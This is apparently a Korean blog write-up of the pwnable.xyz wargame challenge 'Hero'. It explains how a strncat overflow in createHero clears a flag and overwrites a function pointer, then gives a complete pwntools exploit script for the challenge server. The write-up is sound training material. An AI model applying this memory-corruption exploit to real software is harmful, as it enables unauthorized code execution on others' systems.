.bss:0000000000602200 public myHeroPower
.bss:0000000000602200 ; char myHeroPower[20]
.bss:0000000000602200 myHeroPower db 14h dup(?) ; DATA XREF: zeroHero+E↑o
.bss:0000000000602200 ; printHero+2C↑o ...
.bss:0000000000602214 ; char myHeroName[100]
.bss:0000000000602214 myHeroName db 64h dup(?) ; DATA XREF: zeroHero+22↑o
.bss:0000000000602214 ; printHero+18↑o ...
.bss:0000000000602278 isHero dd ? ; DATA XREF: zeroHero+2C↑r
.bss:0000000000602278 ; zeroHero+35↑w ...
.bss:000000000060227C align 20h
.bss:0000000000602280 ; void (*POWER)(void)
.bss:0000000000602280 POWER dq ? ; DATA XREF: createHero:loc_400D0B↑w
.bss:0000000000602280 ; createHero:loc_400D33↑w ...
|
이 바이너리에서 사용되는 전역변수는 위와 같다.
printf("Great! Please enter your hero's name: ");
read(0, name, name_size); strncat(strchr(myHeroName, 0), name, 0x64uLL); |
createHero의 위 부분에서 두 가지 버그가 생긴다.
1. myHeroName의 길이를 100바이트 꽉 채워서 쓰면 strncat 때문에 isHero에 NULL이 들어가 0이 되기 때문에 createHero를 연속으로 실행할 수 있다.
2. strncat이 문자열의 NULL 위치부터 100바이트를 쓰기 때문에 isHero, POWER 등의 값을 덮을 수 있다.
win의 주소값을 POWER에 쓰고 use power를 실행하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import *
import argparse def itob(i) : return str(i).encode() + b'\x00' def CreateHero(size:int, name:bytes, power:int) : p.writeafter(b'> ', itob(1)) p.writeafter(b'? \n', itob(size)) p.writeafter(b': ', name) p.writeafter(b'> ', itob(power)) def UsePower() : p.writeafter(b'> ', itob(2)) def exploit() : CreateHero(0x64, b'A'*0x64, 1) CreateHero(0x10, b'B'*7+p64(0x400A33), 5) UsePower() p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30032) else : p = process('./challenge') exploit() |
Last update: 5/1/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / nin (0) | 2020.05.02 |
---|---|
pwnable.xyz / Dirty Turtle (0) | 2020.05.01 |
pwnable.xyz / note v2 (0) | 2020.05.01 |
pwnable.xyz / executioner v2 (0) | 2020.04.10 |
pwnable.xyz / badayum (0) | 2020.04.10 |